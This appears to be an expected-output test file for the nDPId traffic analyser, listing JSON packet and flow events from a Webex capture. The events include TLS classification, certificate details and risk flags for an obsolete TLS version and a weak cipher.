+00406{"flow_id":41,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":847,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570680,"pkt_ts_usec":91328,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodLtAAEAGDasKCAABrfMAbtl1Abugj6gqX3Bn1VAQTvi9QQAA"} +00853{"flow_id":41,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":848,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570680,"pkt_ts_usec":125739,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFudLxAAEAGDGQKCAABrfMAbtl1Abugj6gqX3Bn1VAYTvgeLgAAFgMBAQYQAAECAQCcgU0dFAydAt1bwWuwgYT6mr2lcaMFB9CDQyxoEtMzoDh1nlnjoxyLJ4He6xCirhE6PRv0yfRCLpmqfZ0WY+2m8X285tczrEBYICsVY\/P9ug8F9h5Z1cEDNvjxGHabdWijgjcENae5p6IhqwMuHn6ZZv+428J69nMnoyodgVGZBmSuRHRXf7qcdYCYNZasn\/un9nq78TLpMsJY\/87ceKuMdUXwPQWp7CyY\/2Qe2ycI9KhK\/kVUuYYzQzMffM6sVjiYTvWWztTdhFw32qEPmFxC3TuxyB8XzdetBA8CbQwuQGvoGSbkRv6JvrBjnubCbVhquLbCDwILUKbSdSGMvZcUFAMBAAEBFgMBADCARA4xmCv92PXDY+qlt41SoJf\/Uwd33ZXkWGsvtwJw5crYqOk3sL8JCzLtHEEFSJY="} +00410{"flow_id":41,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":849,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570680,"pkt_ts_usec":125976,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAqVAABAGr8Gt8wBuCggAAQG72XVfcGfVoI+pcFAQ\/\/8K9AAA"} +00493{"flow_id":41,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":854,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570680,"pkt_ts_usec":374502,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAqhAABAGr4Ot8wBuCggAAQG72XVfcGfVoI+pcFAY\/\/93dgAAFAMBAAEBFgMBADALcU1oe0d5RtR7cNKDPq4NltIuZmXFbV6VUV+\/cJzZOzSP0AsZSNmmwnfMSuvzJa4="} +00408{"flow_id":41,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":855,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570680,"pkt_ts_usec":374744,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodL1AAEAGDakKCAABrfMAbtl1Abugj6lwX3BoEFAQTvi7wAAA"} +01140{"flow_id":41,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":856,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570680,"pkt_ts_usec":389343,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJAdL5AAEAGC5AKCAABrfMAbtl1Abugj6lwX3BoEFAQTvhzVQAAFwMBACAdWRE+RFQXUvyyvQWbSa\/C+o3NXOvnopLQ3nYMsIdVURcDAQJwHN663+xIB3UqWs9Db4RjqlQ0IDG\/sD751FyCD2dTrZSayY91F77rw44DqB2NABOlPrEZD9QbpB2A\/5qZ9tNh6Dpi0hYzPMgGbg+JM8d6A6nPh+1uKZaWTn5rgPJHFinJVSml5LhBCwheUfNkNDFmYyya8\/2jbVuWdNlWyW1Ega\/DLd4LdhZk3YG3Rdl14PnhrJ0l5I9+eDi5e8Ee4P7pS+iXiNbFtftv7fQBXRLppq0sb+BYtnooBmp5yZeKqa1ojWLutbmdGN\/5ux1C4m8Ls5wgK+6v\/93lyJzuUtgCyIb3aGNM4oXEOsY1EL39QPqsHUXtK4eZeJhDywdzHtpCrBt4dtdnKCQBrS3V5OPDpHxmAZlq3N5AEe1tbbidVKoxRULRIAaQbeOt3lvPbDS4JT7iXcP3WeL1b7vs5TrUzt6H3eUn1\/YIvLT2M\/PZgw9OE3ckPqwOtEbNC3T7bEZu+0iMmjDi80waX+xUJr3XY8ZbrbP8eIjt1ZNzUL83JTOlWY6H9olk6OxavRU37i4emHzDucnxI9nqtg2X\/oTWYUx3NckdVUD9KsH44v7QnXI2LSe97kRSkkabeyM7mStEbueAokA+hCTdVR4FX3ruIemOjt+\/HISeFX5Vva\/M+RkeRsy2FFOimuB6BuAx\/04="} +00410{"flow_id":41,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":857,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570680,"pkt_ts_usec":389529,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAqlAABAGr72t8wBuCggAAQG72XVfcGgQoI+riFAQ\/\/8IoQAA"} +00408{"flow_id":40,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1002,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570690,"pkt_ts_usec":937763,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoSadAAEAGwxQKCAABPm3lnsp5AbteGJyRoedkK1AROQh7xQAA"} +00410{"flow_id":40,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1003,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570690,"pkt_ts_usec":940377,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAvNAABAGOck+beWeCggAAQG7ynmh52QrXhicklAQ\/\/+0zQAA"} +00410{"flow_id":40,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1004,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570690,"pkt_ts_usec":940588,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAvRAABAGOcg+beWeCggAAQG7ynmh52QrXhicklAR\/\/+0zAAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1058,"source":"webex.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1444570693238,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.243.0.110","src_port":55671,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1058,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570693,"pkt_ts_usec":238349,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8LOJAAEAGVXAKCAABrfMAbtl3AbsPD\/XWAAAAAKACOQic9QAAAgQFtAQCCAoATNk0AAAAAAEDAwY="} +00411{"flow_id":42,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1059,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570693,"pkt_ts_usec":244944,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAxBAABAGr1at8wBuCggAAQG72Xfw8AopDw\/111AS\/\/8cNQAA"} +00409{"flow_id":42,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1060,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570693,"pkt_ts_usec":245402,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoLONAAEAGVYMKCAABrfMAbtl3AbsPD\/XX8PAKKlAQOQjjLQAA"} +00664{"flow_id":42,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1063,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570693,"pkt_ts_usec":297839,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"ABoRAAACABoRAAABCABFAADjLORAAEAGVMcKCAABrfMAbtl3AbsPD\/XX8PAKKlAYOQjZZAAAFgMBALYBAACyAwFP3AbhLhTWOx1T12yIPxjjHHkav2YDbjvETRMnoVMoSgAAWMAUwAoAOQA4ADcANsAPwAUANcATwAkAMwAyADEAMACaAJkAmACXwA7ABAAvAJbAEcAHwAzAAgAFAATAEsAIABYAEwAQAA3ADcADAAoAFQASAA8ADAAJAP8BAAAxAAsABAMAAQIACgAcABoAFwAZABwAGwAYABoAFgAOAA0ACwAMAAkACgAjAAAADwABAQ=="} +00733{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1063,"source":"webex.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":4,"flow_first_seen":1444570693238,"flow_last_seen":1444570693297,"flow_tot_l4_data_len":287,"flow_min_l4_data_len":20,"flow_max_l4_data_len":207,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.243.0.110","src_port":55671,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"64ea4359ad4b496db653a3f30f7073e6","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00411{"flow_id":42,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1064,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570693,"pkt_ts_usec":298648,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAxJAABAGr1St8wBuCggAAQG72Xfw8AoqDw\/2klAQ\/\/8bewAA"} +05678{"flow_id":42,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1074,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570693,"pkt_ts_usec":766903,"pkt_caplen":3961,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3961,"pkt_l4_len":3927,"pkt":"ABoRAAACABoRAAABCABFAA9rAxdAABAGoAyt8wBuCggAAQG72Xfw8AoqDw\/2klAY\/\/\/4DQAAFgMBDz4CAAAtAwFWGmIvr2fkKd74YByGbdYdmpDL9Iax2YS7H6drFqqYhQAANQAABf8BAAEACwAPBQAPAgAE6TCCBOUwggPNoAMCAQICECl0ianUHkm+YfeBaUbmIfMwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNTA0MTAwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHcxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMREwDwYDVQQHDAhTYW4gSm9zZTEcMBoGA1UECgwTQ2lzY28gU3lzdGVtcywgSW5jLjEMMAoGA1UECwwDQ1NHMRQwEgYDVQQDDAsqLndlYmV4LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ14yGFLwwhhZyxegl+wYbyZZp5q4NComRXAz+k8ibNrPp+x46qW\/Dt++MdupJ8y605K5KTQVb24unmPF+pZq1par5YBKMjJrJTW2aAI1MtQvRzSDCNhdWyxiP6SkVBm6ZOcLwL+kijn\/nCot5orO1NrHHFG\/HBcSk1aaetoitrjs5BWuMxdYuIZvzSoyViVbo\/w\/LUKXdD0rlOcFmOxtcf+VKb7w1eyku07Jp94m\/\/ILLQS\/jy7ymRyfGFnPLtNqBmUKFg+uAD7JcHZiy8g6quVEhEZdm3O+tUR2wYZ5in9yKcrxqoHwhW0O4X2\/rJ4mNDvikIgaWiSNW7eIoh0NWECAwEAAaOCAWQwggFgMBYGA1UdEQQPMA2CCyoud2ViZXguY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBlBgNVHSAEXjBcMFoGCmCGSAGG+EUBBzYwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGRoXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDANBgkqhkiG9w0BAQsFAAOCAQEAFNF1YB0fCkEyxRc1VQO7NUZao+PnZuavjgeTnyTKmHl\/4Zxh1Xg\/M\/f\/RHSrGrgUW2xaSZN\/Dwt2hqMtIi\/b\/AgOFeqNKmMxH3nWxf6f1Lr7QoTvApLQGqjeuIT3U6AiRMt4Ksgfx7+1Vbil1AaILo859VgXSMgVJTv4QpUpzg\/EKtUqPwMwq8PvwoTjlewyOt9YbCxNTO91JkKsYuwm7uUeU7Fx+r+rP+wgDwYVbbsUwQXAbj7QOj3dkPLzn+gcrhK1ZlgFf7Ti34xrqj7jNiaMc0dYh\/Ns3KCHMTs5rVCGLIk7lEgovwLDbJtuuQTlvaHoeZIGVPqROi5Bl\/WxAgAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAWMwggFfMBIGA1UdEwEB\/wQIMAYBAf8CAQAwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3MxLnN5bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAQYwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vczIuc3ltY2IuY29tMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwHQYDVR0OBBYEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB8GA1UdIwQYMBaAFH\/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqGSIb3DQEBCwUAA4IBAQBelFZJ3Y4tZfXBNlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHAATUMIIE0DCCBDmgAwIBAgIQJQzo4DBhLp8rifcFTXz4\/TANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYxMTA4MDAwMDAwWhcNMjExMTA3MjM1OTU5WjCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ\/XxrcgxiV0i6CqqpkKzj\/i5Vbext0uz\/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6\/WhkcIzSdhDY2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn\/Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4\/VBEnkjWNHiDxpg8v+R70rfk\/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10\/NIeWiu5T6CUVAgMBAAGjggGbMIIBlzAPBgNVHRMBAf8EBTADAQH\/MDEGA1UdHwQqMCgwJqAkoCKGIGh0dHA6Ly9jcmwudmVyaXNpZ24uY29tL3BjYTMuY3JsMA4GA1UdDwEB\/wQEAwIBBjA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL2NwczAdBgNVHQ4EFgQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24uY29tL3ZzbG9nby5naWYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC52ZXJpc2lnbi5jb20wPgYDVR0lBDcwNQYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDAwYJYIZIAYb4QgQBBgpghkgBhvhFAQgBMA0GCSqGSIb3DQEBBQUAA4GBABMC3fjohgDyWvj4IAxZiGIHzs73Tvm7WaGY5eE43U68ZhjTresY8g3JbT5KlCDDPLq9ZVTGr0SzEK0saz6r1we2uIFjxfleLuUqZ87NMwwq14lWAyMfs77oOghZtOxFNfeKW\/9mz1Cvxm1XjRl4t7mi0VfqH5pLr7rJjhJ+xr3\/DgAAAA=="} +01112{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1074,"source":"webex.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":6,"flow_first_seen":1444570693238,"flow_last_seen":1444570693766,"flow_tot_l4_data_len":4234,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3927,"flow_avg_l4_data_len":705,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.243.0.110","src_port":55671,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"64ea4359ad4b496db653a3f30f7073e6","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +00410{"flow_id":42,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1075,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570693,"pkt_ts_usec":768368,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoLOVAAEAGVYEKCAABrfMAbtl3AbsPD\/aS8PAZbVAQTE+\/6AAA"} +00857{"flow_id":42,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1077,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570693,"pkt_ts_usec":870805,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFuLOZAAEAGVDoKCAABrfMAbtl3AbsPD\/aS8PAZbVAYTE\/xSQAAFgMBAQYQAAECAQB\/lMfcOyzSFtvzhiCHyEEFZaSghx7hULTQzfehcdy6HOZtxb9XEHObkFwD\/OTotTo\/mupVjmxXBO2XEP2UV9WRGEDwyJkhJ4H7Fd4yE8ifc0BzjThXupi9ISSYN+tbMHwotLlhwLF6L4sHCv+nvWDz0QZVlIQ1qBiDGLdyutJBTMLjphMyLgJmPJiX\/MoAFmyEC7w1qWfX+kih2HM\/efeJ+juxKLLRhBIXkEmnw3JQn6dynGsA6pb822R6gmGe1iSr+D8kGx\/CXbkS3LrtMUV839q0yIurqTrLlspkPnvvUYrN1XSrxCngNummT0SDhG9jyoy9RALgsa2veN1LGbZ0FAMBAAEBFgMBADDSiUb2ExE\/e85k2zmYmEm0g\/y2LQmKn2pvdJyMJY9vhF1b5CRrYvY9FhFEHUCyDxY="} +00411{"flow_id":42,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1078,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570693,"pkt_ts_usec":871619,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAxlAABAGr02t8wBuCggAAQG72Xfw8BltDw\/32FAQ\/\/8K8gAA"} +00494{"flow_id":42,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1087,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570694,"pkt_ts_usec":129677,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAx5AABAGrw2t8wBuCggAAQG72Xfw8BltDw\/32FAY\/\/+MXgAAFAMBAAEBFgMBADC935n5tIavtZmC1WJrNbcvz7sl9ycYSVtXL6eVUR4plQ477eLANfnou+UqI3XbCgE="} +00410{"flow_id":42,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1088,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570694,"pkt_ts_usec":129817,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoLOdAAEAGVX8KCAABrfMAbtl3AbsPD\/fY8PAZqFAQTE++ZwAA"} +01142{"flow_id":42,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1089,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570694,"pkt_ts_usec":180300,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJALOhAAEAGU2YKCAABrfMAbtl3AbsPD\/fY8PAZqFAQTE8M5gAAFwMBACAxlDfUShcR70wyyDFz+wiI6vyuTLYypBLLw3HBewgCLBcDAQJQku8\/kvXvPqTpbiY\/FRQbcJA\/R5VugLi4MZtLqnz+a\/Ms0eEg0o27ej+It7\/jhszMs66BuY1bizcKvxQdNqsYiN3+BWkioGVldbNcLAv1EzgkJyizsls77ihwLLZBXSiRScMIFaHeS1YE0oaHrfs5dVuj2CWiOAMkDNXeCGWejgdY+GNMqQBAGDlQj6J3XpnEis41VrSLk9jBpPzBsRkV385JlIgBxQV5\/8vmtQYQ9o+IpVY3qlXavIUcfd11xeycAjzOTTs+0O3YKoZ93R4t6iXm8imihXZMW40BSdTo2eJrf2\/WyBnlgQLLJVsWo6W3xUruUugdPEng5fp\/nqtwN7xehvv5YLr2VykNbfLgUTFLbLOHjNj\/FSrtKxuH9LI6CKPA3B7oFvIlpyLTEYqd2cWnxOAVAVGeELd9IgSHbjP\/sruTMy4D35WiLW5DPImnqc2xDoNdAzMZD8uROgEtEbPCPjRFPNwZQj3EcRCX\/VxgYGm05sJ18yWSnsfUZu96VSmuDliMJPzcQzD6YQmmMyZ\/bHswkHLgBHUGcN+3aUY3QMO4aMq1Dx5aIbYR\/OoUL4XPDumkSGqcXVHHeZ8Ij2kdfKSGZsDCH0Mv36FbLucrtOJtIrntnWTwQOVuF9wumIa8C7gn8cWZKJISyzI="} 